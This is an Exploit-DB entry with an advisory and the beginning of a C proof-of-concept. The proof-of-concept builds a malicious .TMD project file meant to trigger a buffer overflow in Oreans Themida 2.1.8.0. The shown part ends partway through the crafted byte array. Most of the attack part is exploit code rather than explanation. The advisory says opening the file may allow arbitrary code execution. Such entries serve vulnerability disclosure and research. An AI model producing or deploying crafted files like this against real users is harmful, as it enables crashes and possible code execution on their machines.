Exploit-DB #18636
Description: Oreans Themida 2.1.8.0 - '.TMD' File Handling Buffer Overflow
Type: dos
Platform: windows
Date: 2012-03-21
Author: LiquidWorm

Exploit:
/*


Oreans Themida v2.1.8.0 TMD File Handling Buffer Overflow Vulnerability


Vendor: Oreans Technologies
Product web page: http://www.oreans.com
Affected version: 2.1.8.0 (32/64bit)

Summary: Advanced Windows software protection system, developed for
software developers who wish to protect their applications against
advanced reverse engineering and software cracking.

Desc: The vulnerability is caused due to a boundary error in the
processing of a project file, which can be exploited to cause a
buffer overflow when a user opens e.g. a specially crafted .TMD
file. Successful exploitation may allow execution of arbitrary
code.

Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit)
           Microsoft Windows 7 Ultimate SP1 (EN) (64bit)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5079
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5079.php


19.03.2012


*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

#define FN "HBDD-53.tmd"
#define PSIZE 60401
#define secur 0x9E

FILE *fp;

char protect[] = {
	0x52, 0x53, 0x30, 0x32, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x8C, 0x28, 0x00, 
	0x00, 0x03, 0x1B, 0xF3, 0xC2, 0x01, 0x1B, 0xF3, 0xC2, 0x12, 0x7D, 0x9E, 0x8F, 0x60, 0x72, 0x9D, 
	0xEC, 0x73, 0x68, 0xA3, 0xB0, 0x6E, 0x6B, 0xA0, 0xA3, 0x77, 0x7E, 0x81, 0xF3, 0x01, 0x1B, 0xF3, 
	0xC2, 0x9B, 0x1B, 0xF3, 0xC2, 0x16, 0x78, 0x91, 0x83, 0x62, 0x6F, 0x9A, 0xB4, 0x64, 0x58, 0x9C, 
	0xAC, 0x75, 0x7E, 0x8B, 0xB6, 0x2F, 0x58, 0x9B, 0xA7, 0x62, 0x70, 0x96, 0xA6, 0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